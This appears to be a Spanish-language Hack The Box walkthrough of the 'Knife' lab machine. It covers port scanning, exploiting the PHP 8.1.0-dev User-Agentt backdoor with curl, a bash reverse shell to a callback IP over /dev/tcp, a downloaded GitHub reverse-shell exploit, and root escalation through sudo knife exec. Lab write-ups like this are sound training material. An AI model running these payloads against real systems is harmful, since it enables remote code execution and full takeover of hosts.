machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn 10.10.10.242
Host is up, received user-set (0.27s latency).
Scanned at 2024-06-02 14:36:16 -03 for 16s
Not shown: 65523 closed tcp ports (reset), 10 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Detectamos versión y servicio de los puertos abiertos:

nmap -sCV -p22,80 10.10.10.242
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

knife

Detectamos que se está utilizando PHP 8.1.0-dev

Intrusión

Buscamos exploits para PHP 8.1.0-dev en exploit-db. Vemos que existe un backdoor que permite a un atacante ejecutar código arbitrario en el servidor enviando el header User-Agentt.

Inicialmente, vamos a utilizar este exploit. Al ejecutarlo, nos pide la URL completa y ya obtenemos una shell como el usuario james:

knife

Si analizamos el script, está enviando el siguiente header:

"User-Agentt": "zerodiumsystem('" + cmd + "');"

Por lo tanto, otra forma de ejecutarlo de forma manual sería enviando una petición GET a través de cURL. Por ejemplo, ejecutamos id:

curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');" 

Vemos que obtenemos el output del comando:

knife

Podemos modificar el comando a ejecutar para obtener una Reverse Shell:

curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.14.19/1234 0>&1 \"');" 

Nos quedamos a la escucha en el puerto 1234 y obtenemos la shell. Desde aquí, vemos la primer flag:

knife

Otra forma de entablar una Reverse Shell es con el siguiente exploit que encontré en Github:

wget https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell_php_8.1.0-dev.py

Lo ejecutamos de la siguiente forma:

python3 revshell_php_8.1.0-dev.py http://10.10.10.242 10.10.14.19 443

Nos quedamos a la escucha y obtenemos la shell:

knife

Escalación de privilegios

Utilizando el comando sudo -l vemos que el usuario james puede ejecutar el binario /usr/bin/knife como root sin necesidad de proporcionar contraseña:

knife

Utilizando GTFObins, vemos que podemos ejecutar la utilidad de la siguiente manera para obtener una shell como root:

sudo knife exec -E 'exec "/bin/sh"'

Al hacerlo, logramos escalar privilegios y ya podemos ver la flag:

knife


Published

Category

HTB

Tags